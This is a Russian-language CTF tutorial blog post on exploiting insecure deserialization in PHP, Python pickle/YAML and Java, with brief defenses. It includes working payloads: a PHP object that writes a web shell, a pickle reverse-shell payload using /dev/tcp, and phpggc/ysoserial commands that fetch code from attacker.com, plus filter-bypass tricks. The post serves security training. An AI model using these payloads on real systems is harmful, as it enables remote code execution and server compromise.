Главная / Блог / Insecure Deserialization эксплуатация в CTF

13 мин.00

Insecure Deserialization эксплуатация в CTF

Insecure Deserialization эксплуатация в CTF

На одном из CTF-турниров я убил четыре часа на веб-таск, где единственной зацепкой был base64-кукис с характерной подстрокой O:4: внутри. PHP-десериализация, три класса в исходниках, POP-цепочка из двух звеньев — и флаг. Половина участников даже не добралась до этапа эксплуатации, потому что не распознала формат сериализованных данных в HTTP-трафике. По классификации OWASP insecure deserialization входит в категорию A08:2021 — Software and Data Integrity Failures и описывается как CWE-502 (Deserialization of Untrusted Data). MITRE ATT&CK относит эксплуатацию таких уязвимостей к технике Exploit Public-Facing Application (T1190, Initial Access). Эта статья — пошаговая методология поиска и insecure deserialization эксплуатации в CTF-заданиях по трём языкам: PHP, Python и Java.

Как распознать уязвимости десериализации в CTF-задании

Прежде чем строить gadget chain или запускать ysoserial, нужно понять, что перед вами десериализация. В CTF это первый и часто решающий шаг — авторы задания редко вешают табличку «здесь unserialize». Опознавать формат придётся по сигнатурам в HTTP-трафике. Подробнее — в нашем статье о создание ctf заданий.

Сигнатуры сериализованных данных по языкам

Каждый язык оставляет характерный след в сериализованном потоке. По OWASP Deserialization Cheat Sheet основные маркеры такие:

Язык Формат Сигнатура Где искать в CTF
PHP serialize() O:4:"User":2:{s:4:"name"...} Cookies, POST-параметры, скрытые поля
Python pickle Hex 0x80 в начале, Base64 gASV Cookies, API body, Redis/Memcached
Java ObjectInputStream Hex AC ED 00 05, Base64 rO0AB Cookies, HTTP-заголовки, параметры
Java (gzip) ObjectInputStream + gzip Base64 H4sIAAAAAAAA Те же места
.NET ViewState Base64 /wEP... в __VIEWSTATE Скрытые поля форм

Первое действие после получения веб-задания — перехватить весь трафик через Burp Suite и прогнать поиском по этим паттернам. Для Java в Burp есть расширение Java Deserialization Scanner — автоматически ловит маркеры AC ED и rO0AB в HTTP-истории. Для PHP хватит текстового поиска по O: и a: в cookies и параметрах.

PHP-сериализацию опознать проще всего: строка начинается с типа данных (O: для объекта, a: для массива, s: для строки, i: для целого числа) и содержит фигурные скобки с парами ключ-значение. Python pickle в сыром виде — бинарный поток, но в CTF его почти всегда пакуют в base64. Декодируйте подозрительный base64 командой echo "..." | base64 -d | xxd | head и проверьте первые байты: \x80\x03 или \x80\x04 (номер версии протокола pickle) — верный признак.

Где авторы CTF-заданий прячут сериализованные данные: session cookies (самое частое), скрытые поля форм, тела API-запросов в POST, WebSocket-сообщения, данные в Redis или Memcached (если задание включает эти сервисы). Когда задание даёт исходный код — ищите вызовы unserialize(), pickle.loads(), yaml.load(), readObject(), XMLDecoder, XStream.fromXML() прямо в коде. Это сокращает время поиска с часов до минут.

Уязвимости десериализации PHP — от unserialize до RCE

PHP — самый частый язык для insecure deserialization CTF-заданий. Причина проста: формат serialize() человекочитаем, POP-цепочки наглядны, а эксплуатация не требует внешних зависимостей.

PHP object injection и магические методы

Суть PHP object injection: когда unserialize() обрабатывает пользовательский ввод, атакующий контролирует свойства создаваемого объекта. Если в коде приложения есть классы с магическими методами — __wakeup(), __destruct(), __toString() — они вызываются автоматически при десериализации или уничтожении объекта. Задача CTF-игрока — найти цепочку вызовов (POP chain, Property Oriented Programming) от магического метода до опасного sink'а вроде eval(), system() или file_put_contents().

Типичный CTF-сценарий. Допустим, в исходниках два класса:

class Logger {
    public $logFile;
    public $logData;
    function __destruct() {
        file_put_contents($this->logFile, $this->logData);
    }
}
class User {
    public $name;
    public $role = "guest";
}

Приложение десериализует cookie через unserialize($_COOKIE['session']) и ожидает объект User. Ничто не мешает подсунуть объект Logger с контролируемыми logFile и logData. При уничтожении объекта (конец скрипта) вызовется __destruct(), который запишет произвольные данные в произвольный файл — прямой путь к RCE через запись веб-шелла.

Payload: O:6:"Logger":2:{s:7:"logFile";s:18:"/var/www/shell.php";s:7:"logData";s:29:"<?php system($_GET['cmd']); ?>";}. Кидаем в cookie через Burp Repeater — после десериализации на сервере появляется шелл. Обратите внимание на формат: O:6 — объект с именем класса длиной 6 символов, :2: — два свойства, s:7:"logFile" — строка-ключ длиной 7 символов. Ошиблись в подсчёте длины хоть на единицу — unserialize() вернёт false. Я на этом терял минут по двадцать, пока не привык считать символы до автоматизма.

Магические методы, которые стоит искать при построении gadget chain:

  • __wakeup() — срабатывает сразу при десериализации, до использования объекта
  • __destruct() — срабатывает при уничтожении объекта (конец скрипта или явный unset)
  • __toString() — срабатывает при приведении объекта к строке (в echo, конкатенации, сравнении)
  • __call() — срабатывает при обращении к несуществующему методу
  • __get() — срабатывает при обращении к несуществующему свойству

В реальных CTF-заданиях POP-цепочки бывают длиннее двух звеньев. Например: __destruct() в классе A вызывает метод close() у свойства $this->handler. Подставляем объект класса B вместо ожидаемого — вызовется B::close(), который внутри дёргает $this->callback($this->data). Подставляем $callback = "system" и $data = "cat /flag" — RCE через три класса. Умение трассировать такие цепочки вручную — то, что отличает топ-10 от остальных в CTF web эксплуатации.

phpggc gadget chains для фреймворков

Когда исходников нет или POP-цепочка слишком длинная для ручного разбора, выручает phpggc — генератор готовых gadget chains для PHP-фреймворков. Если CTF-задание крутится на Laravel, Symfony, WordPress с Guzzle, Monolog или Doctrine — phpggc содержит заранее найденные цепочки.

# Список доступных цепочек
./phpggc -l
# Laravel RCE
./phpggc Laravel/RCE1 system "id" -b
# Symfony RCE
./phpggc Symfony/RCE4 exec "curl http://attacker.com/shell.sh" -b
# Monolog RCE
./phpggc Monolog/RCE1 system "id" -b

Флаг -b кодирует результат в base64 для передачи через HTTP.

Стратегия в CTF: определите фреймворк по косвенным признакам (заголовки ответа, структура URL, характерные cookies типа laravel_session или XSRF-TOKEN, composer.json если доступен), проверьте цепочки в phpggc, сгенерируйте payload. Звучит просто, но на практике фреймворк не всегда очевиден — иногда приходится перебирать.

PHAR-десериализация — атака через файловые операции

Отдельный вектор — PHAR (PHP Archive). Куча файловых функций PHP (file_exists(), is_dir(), file_get_contents(), fopen(), getimagesize() и другие) поддерживают stream wrapper phar://. Когда приложение передаёт пользовательский ввод в такую функцию, можно загрузить PHAR-архив с вредоносными сериализованными метаданными — PHP автоматически десериализует метаданные архива при обращении через phar://.

В CTF-заданиях с загрузкой файлов этот вектор особенно вкусный. Автор задания фильтрует расширение (только .jpg или .png), но PHAR-архив можно упаковать в полиглот — файл, который одновременно валиден и как изображение, и как PHAR. Стаб PHAR-архива гибок: в начало вставляем JPEG magic bytes (\xFF\xD8), и парсер изображений примет файл, а PHP через phar:// обработает его как архив. phpggc поддерживает флаг -p phar: ./phpggc -p phar -o exploit.phar Laravel/RCE1 system "id".

Практический момент: после загрузки полиглота нужно заставить приложение обратиться к файлу через phar:// wrapper. Если есть параметр, контролирующий путь к файлу (например, ?file=/uploads/avatar.jpg), меняем на ?file=phar:///uploads/avatar.jpg. Сервер фильтрует подстроку «phar»? Пробуем регистр (PHAR://, Phar://) или альтернативные обёртки. На одном CTF я потратил полчаса на обход фильтра, пока не догадался попробовать double URL encoding — %70%68%61%72.

Pickle Python эксплуатация — самый опасный десериализатор

В отличие от PHP, где для RCE нужна подходящая gadget chain, Python pickle опасен по своей природе. По OWASP Deserialization Cheat Sheet для атаки через pickle не требуется никаких дополнительных предпосылок: если приложение вызывает pickle.loads() на пользовательском вводе — это практически гарантированный RCE.

Механизм reduce и создание payload

Pickle использует протокол __reduce__ для управления десериализацией. Метод __reduce__() возвращает кортеж из callable и аргументов — pickle вызовет этот callable при восстановлении объекта. Фактически — произвольная функция без каких-либо gadget chain. Просто бери и выполняй.

import pickle, base64

class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ("id",))

payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload.decode())

Этот код генерирует base64-payload, который при десериализации через pickle.loads() выполнит команду id. В CTF-задании payload передаётся через cookie, POST-параметр или API body. По MITRE ATT&CK pickle-эксплуатация попадает под Python (T1059.006, Execution) — интерпретатор выполняет произвольные команды через механизм десериализации.

Вариации payload для разных сценариев: reverse shell — в __reduce__ возвращаем (os.system, ("bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'",)). Через exec для многострочного кода: (exec, ('import os;os.system("cat /flag.txt")',)). DNS callback для слепой верификации (когда нет прямого вывода): (os.system, ("curl http://your-server.com/callback",)).

Обход ограничений pickle в CTF

В задачах повышенной сложности авторы ограничивают pickle: фильтруют модули (os, subprocess, builtins), проверяют opcodes или реализуют кастомный RestrictedUnpickler с белым списком классов.

Типичные обходы:

Замена модуля. Вместо os.systemposix.system (на Linux posix и os используют одну и ту же функцию). Вместо os.popenbuiltins.eval с конструкцией __import__('os').system('id') внутри.

Opcode manipulation. Pickle — стековая виртуальная машина с собственным набором opcodes. Если фильтр проверяет сериализованный поток regex'ом на строку os, можно собрать payload вручную через модуль pickletools, разбив строку os на части и склеив на стеке. Муторно, но работает.

Альтернативные deserializers. Когда задание использует yaml.load() из PyYAML (без параметра Loader=SafeLoader) — это тот же вектор десериализации. Payload вида !!python/object/apply:os.system ['id'] вызывает десериализацию Python-объекта через YAML-парсер. В CTF этот вектор встречается реже, но его легко пропустить — ищите вызовы yaml.load() без явного указания SafeLoader.

Ysoserial Java deserialization — RCE через библиотеки

Java deserialization — самый тяжёлый для ручной эксплуатации вектор, но и самый разрушительный. Одна уязвимость в ObjectInputStream.readObject() при наличии нужных библиотек в classpath — и java deserialization RCE через готовые gadget chains достижим за минуты.

Распознавание Java-сериализации в трафике

Java-сериализованные объекты начинаются с magic bytes AC ED 00 05 в hex. В base64-кодировке это rO0AB. Видите в Burp Suite cookie или параметр, начинающийся с rO0AB — перед вами Java-сериализация. Дополнительный маркер: HTTP-заголовок Content-Type: application/x-java-serialized-object. Быстрая проверка в терминале: echo "rO0ABXNyABF..." | base64 -d | xxd | head — если первые байты aced 0005, это ObjectInputStream.

Как отмечает PortSwigger, сериализованные Java-объекты часто дополнительно кодируются (URL-encoding, gzip + base64), так что стоит проверять и закодированные версии этих сигнатур. В CTF-задании gzip-вариант начинается с H4sIAAAAAAAA в base64.

Ysoserial и подбор gadget chain

Ysoserial — основной инструмент для ysoserial java deserialization эксплуатации. Он содержит коллекцию gadget chains для популярных Java-библиотек: Commons Collections (версии 3.x и 4.0), Spring Framework, Hibernate, Groovy, Apache Commons FileUpload.

# Список доступных gadget chains
java -jar ysoserial.jar 2>&1 | grep -E "^\s+\w"
# DNS callback — безопасная проверка (всегда начинайте с неё)
java -jar ysoserial.jar URLDNS "http://test.burpcollaborator.net" | base64 -w0
# RCE через CommonsCollections (самая распространённая)
java -jar ysoserial.jar CommonsCollections5 "curl http://attacker/rce" | base64 -w0

Методология подбора gadget chain в CTF: начинайте с URLDNS — эта цепочка использует только стандартные классы JDK (java.net.URL и java.util.HashMap) и не зависит от внешних библиотек. Получили DNS callback на Burp Collaborator — десериализация работает, переходим к RCE-цепочкам. Дальше перебираем: CommonsCollections1 через CommonsCollections7 (самые распространённые в Java-приложениях), затем Spring1, Hibernate1, Groovy1. В CTF авторы обычно включают одну из этих библиотек в classpath специально.

Сгенерированный payload подставляем в cookie или параметр через Burp Repeater. Ни одна стандартная цепочка не сработала? Два варианта: либо приложение фильтрует определённые классы через переопределённый ObjectInputStream.resolveClass(), либо в classpath нет ни одной из стандартных «гаджетных» библиотек. В первом случае ищем обход фильтра; во втором — придётся строить кастомную цепочку из классов приложения. Это уже уровень hard, и тут без карандаша и бумаги (буквально — рисуйте граф вызовов) не обойтись.

Поиск gadget chain в CTF — пошаговая методология

Insecure deserialization CTF-задания отличаются от реальных пентестов: исходники обычно доступны, а набор классов ограничен. Это упрощает поиск gadget chain и превращает задачу в системный анализ кода.

Шаг 1 — Найти точку входа. Ищите вызовы unserialize() (PHP), pickle.loads() / yaml.load() (Python), readObject() / XMLDecoder / XStream.fromXML() (Java). Проверьте, попадает ли пользовательский ввод в эти функции. Иногда ввод проходит через несколько преобразований (base64 decode, URL decode, gunzip) перед десериализацией — тут поможет трассировка от точки входа HTTP до вызова десериализатора.

Шаг 2 — Определить доступные классы. В PHP — все классы, загруженные через autoload, include или require. В Java — всё, что лежит в classpath (проверьте pom.xml или build.gradle, если доступны). В Python — импортированные модули плюс стандартная библиотека.

Шаг 3 — Найти kick-off gadget. Класс с магическим методом, который вызывается автоматически: __wakeup() / __destruct() в PHP, readObject() в Java. В Python kick-off — сам __reduce__(), так что этот шаг тривиален.

Шаг 4 — Построить цепочку до sink'а. От kick-off gadget нужно добраться до опасной функции. Трассируйте вызовы: какой метод вызывает kick-off? Какие свойства объекта он использует? Можно ли подставить объект другого класса вместо ожидаемого типа? Рисуйте граф вызовов на бумаге — для цепочек из трёх и более звеньев это реально спасает.

Шаг 5 — Собрать payload. Для PHP — вручную сконструировать сериализованную строку (следите за длинами строк!) или использовать phpggc. Для Python — написать скрипт с __reduce__. Для Java — ysoserial для стандартных библиотек или ручная сборка через ObjectOutputStream.

Шаг 6 — Верифицировать. Начинайте с безопасных проверок: DNS callback (URLDNS в Java, curl на свой сервер в PHP/Python), sleep() для timing-based подтверждения. Только после подтверждения работоспособности переходите к полноценному RCE.

Этот подход маппится на MITRE ATT&CK: шаги 1–2 — разведка, шаги 3–5 — Exploit Public-Facing Application (T1190, Initial Access), шаг 6 — подтверждение через Unix Shell (T1059.004, Execution) или Python (T1059.006, Execution).

Защита от десериализации объектов — что закрывает уязвимость

Понимание защитных мер критично для CTF-игрока: если защита реализована корректно — нужно искать обход; если с ошибкой — в этой ошибке и лежит решение.

В PHP замена unserialize() на json_decode() полностью закрывает вектор. Если unserialize() необходим — параметр allowed_classes ограничивает список допустимых классов: unserialize($data, ["allowed_classes" => ["User"]]). В CTF ищите ситуации, где whitelist содержит лишний класс — один лишний класс в списке, и вся защита рассыпается.

В Python — отказ от pickle.loads() в пользу json.loads(). Если pickle необходим — RestrictedUnpickler с белым списком модулей. Для PyYAML — yaml.safe_load() вместо yaml.load(). В CTF проверяйте, действительно ли RestrictedUnpickler покрывает все опасные пути — часто авторы «забывают» про posix или builtins.

В Java — переопределение ObjectInputStream.resolveClass() с whitelist разрешённых классов (подход LookAheadObjectInputStream из OWASP Deserialization Cheat Sheet). Использование Java agent'ов для глобального hardening'а. Альтернативные форматы: JSON через Jackson/Gson вместо нативной сериализации.

Как отмечает PortSwigger: «уязвимость — это десериализация пользовательского ввода, а не наличие gadget chains. Попытка устранить все gadget chains неэффективна из-за сложной паутины зависимостей». Для CTF это значит: даже если автор задания «закрыл» известные цепочки — ищите альтернативные пути через те же классы.

Десериализация — одна из тех уязвимостей, где разрыв между «понимаю концепцию» и «могу эксплуатировать» огромен. Я встречал CTF-игроков, которые прочли десятки writeup'ов по insecure deserialization, но проваливались на первом же задании с кастомной POP-цепочкой. Они не умели трассировать вызовы между классами — только запускали готовые инструменты. Все гайды показывают phpggc Laravel/RCE1 system "id" и создают иллюзию, будто эксплуатация десериализации сводится к подбору нужного флага. На практике 80% CTF-заданий требуют ручного анализа кода и построения цепочки, которой нет ни в одном генераторе. Генераторы — это fallback, а не основной навык. И ещё одна неудобная правда: pickle в Python — не уязвимость, а задокументированная feature. Документация прямым текстом говорит: «Never unpickle data received from an untrusted source». Тем не менее pickle.loads() продолжает появляться в продакшн-коде и, как следствие, в CTF-заданиях. Мой совет: берите исходники реального фреймворка (Laravel, Spring) и ищите POP-цепочки вручную, не заглядывая в phpggc. Когда научитесь трассировать вызовы сами — любой генератор станет просто ускорителем. На WAPT эту цепочку проходят в течение двух модулей с лабами.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

OSINT для начинающих: цифровой след по нику и email

15 мин.

10

OSINT для начинающих: цифровой след по нику и email

Sherlock, Maigret, holehe, Google Dorks и ExifTool на практике: собираем цифровой след по нику и email с пошаговым разбором CTF-задачи от артефакта до флага.

20 СЕНТЯБРЬ, 2026

OSINT для начинающих: след по нику и email в CTF

13 мин.

14

OSINT для начинающих: след по нику и email в CTF

Пошаговый разбор CTF-задачи: Sherlock, Maigret, Holehe, ExifTool. Цепочка ник — email — утечки — метаданные — флаг за 45 минут с разбором тупиков.

20 СЕНТЯБРЬ, 2026

Wireshark для начинающих: разбор трафика в CTF

13 мин.

9

Wireshark для начинающих: разбор трафика в CTF

Пошаговый разбор pcap в Wireshark: фильтры для CTF, Follow Stream, Export Objects, DNS-туннели, ICMP-стеганография. Чек-лист из 10 пунктов для Forensics-задач.

19 СЕНТЯБРЬ, 2026